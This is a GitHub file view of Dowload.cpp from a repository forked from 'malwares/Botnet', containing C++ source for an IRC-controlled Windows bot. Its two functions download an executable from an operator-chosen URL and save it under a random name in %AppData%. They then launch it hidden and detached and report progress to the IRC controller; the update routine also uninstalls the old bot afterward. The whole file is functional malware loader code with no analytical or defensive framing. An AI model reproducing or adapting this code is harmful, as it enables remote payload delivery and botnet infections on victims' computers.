forked from malwares/Botnet
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Dowload.cpp
119 lines (102 loc) · 4.45 KB
/
Dowload.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#include "wALL.h"
DWORD WINAPI IsDownload( LPVOID param )
{
char url_buffer[MAX_LINE] = {0};
char destination_buffer[MAX_LINE] = {0};
char target_buffer[MAX_LINE] = {0};
char buffer[MAX_LINE] = {0};
HRESULT dl;
strcpy( url_buffer, Download_URL );
strcpy( target_buffer, Download_Target );
ExpandEnvironmentStrings( "%AppData%", destination_buffer, sizeof( destination_buffer ) );
sprintf( destination_buffer, "%s\\%s%i%i.exe", destination_buffer, GenerateRandomLetters( 20 ), rand()%9, rand()%9 );
dl = URLDownloadToFile( NULL, url_buffer, destination_buffer, 0, NULL );
sprintf( buffer, "%s Downloading File From: %s, To: %s", title_download, url_buffer, destination_buffer );
IRC_Send(MSG_PRIVMSG, buffer, target_buffer);
if( dl == S_OK ) {
sprintf( buffer, "%s File Successfully Downloaded To: %s", title_download, destination_buffer );
IRC_Send(MSG_PRIVMSG, buffer, target_buffer);
} else if( dl == E_OUTOFMEMORY ) {
sprintf( buffer, "%s Failed To Download File Reason: Insufficient Memory", title_download );
IRC_Send(MSG_PRIVMSG, buffer, target_buffer);
Thread_Clear( DOWNLOAD_THREAD );
return 0;
} else if( dl == INET_E_DOWNLOAD_FAILURE ) {
sprintf( buffer, "%s Failed To Download File Reason: Unknown", title_download );
IRC_Send(MSG_PRIVMSG, buffer, target_buffer);
Thread_Clear( DOWNLOAD_THREAD );
return 0;
} else {
sprintf( buffer, "%s Failed To Download File Reason: Unknown", title_download );
IRC_Send(MSG_PRIVMSG, buffer, target_buffer);
Thread_Clear( DOWNLOAD_THREAD );
return 0;
}
PROCESS_INFORMATION pinfo;
STARTUPINFO sinfo;
ZeroMemory( &pinfo, sizeof( PROCESS_INFORMATION ) );
ZeroMemory( &sinfo, sizeof( STARTUPINFO ) );
sinfo.cb = sizeof( sinfo );
sinfo.wShowWindow = SW_HIDE;
if ( CreateProcess( NULL, destination_buffer, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS|DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo ) == TRUE ) {
sprintf( buffer, "%s Successfully Executed: %s", title_download, destination_buffer );
IRC_Send(MSG_PRIVMSG, buffer, target_buffer);
} else {
sprintf( buffer, "%s Failed To Execute File via Create Process Reason: Unknown", title_download );
IRC_Send(MSG_PRIVMSG, buffer, target_buffer);
}
Thread_Clear( DOWNLOAD_THREAD );
Thread_Kill( DOWNLOAD_THREAD );
return 0;
}
DWORD WINAPI IsUpdate( LPVOID param )
{
char url_buffer[MAX_LINE];
char destination_buffer[MAX_LINE];
char target_buffer[MAX_LINE];
char buffer[MAX_LINE];
HRESULT dl;
strcpy( url_buffer, Download_URL );
strcpy( target_buffer, Download_Target );
ExpandEnvironmentStrings( "%AppData%", destination_buffer, sizeof( destination_buffer ) );
sprintf( destination_buffer, "%s\\%s%i%i.exe", destination_buffer, GenerateRandomLetters( 20 ), rand()%9, rand()%9 );
dl = URLDownloadToFile( NULL, url_buffer, destination_buffer, 0, NULL );
sprintf( buffer, "%s Downloading File From: %s, To: %s", title_download, url_buffer, destination_buffer );
IRC_Send(MSG_PRIVMSG, buffer, target_buffer);
if( dl == S_OK ) {
sprintf( buffer, "%s File Successfully Downloaded To: %s", title_download, destination_buffer );
IRC_Send(MSG_PRIVMSG, buffer, target_buffer);
} else if( dl == E_OUTOFMEMORY ) {
sprintf( buffer, "%s Failed To Download File Reason: Insufficient Memory", title_download );
IRC_Send(MSG_PRIVMSG, buffer, target_buffer);
Thread_Clear( UPDATE_THREAD );
return 0;
} else if( dl == INET_E_DOWNLOAD_FAILURE ) {
sprintf( buffer, "%s Failed To Download File Reason: Unknown", title_download );
IRC_Send(MSG_PRIVMSG, buffer, target_buffer);
Thread_Clear( UPDATE_THREAD );
return 0;
} else {
sprintf( buffer, "%s Failed To Download File Reason: Unknown", title_download );
IRC_Send(MSG_PRIVMSG, buffer, target_buffer);
Thread_Clear( UPDATE_THREAD );
return 0;
}
PROCESS_INFORMATION pinfo;
STARTUPINFO sinfo;
ZeroMemory( &pinfo, sizeof( PROCESS_INFORMATION ) );
ZeroMemory( &sinfo, sizeof( STARTUPINFO ) );
sinfo.cb = sizeof( sinfo );
sinfo.wShowWindow = SW_HIDE;
if ( CreateProcess( NULL, destination_buffer, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS|DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo ) == TRUE ) {
sprintf( buffer, "%s Successfully Executed: %s", title_download, destination_buffer );
IRC_Send(MSG_PRIVMSG, buffer, target_buffer);
Uninstall();
} else {
sprintf( buffer, "%s Failed To Execute File via Create Process Reason: Unknown", title_download );
IRC_Send(MSG_PRIVMSG, buffer, target_buffer);
}
Thread_Clear( UPDATE_THREAD );
Thread_Kill( UPDATE_THREAD );
return 0;
}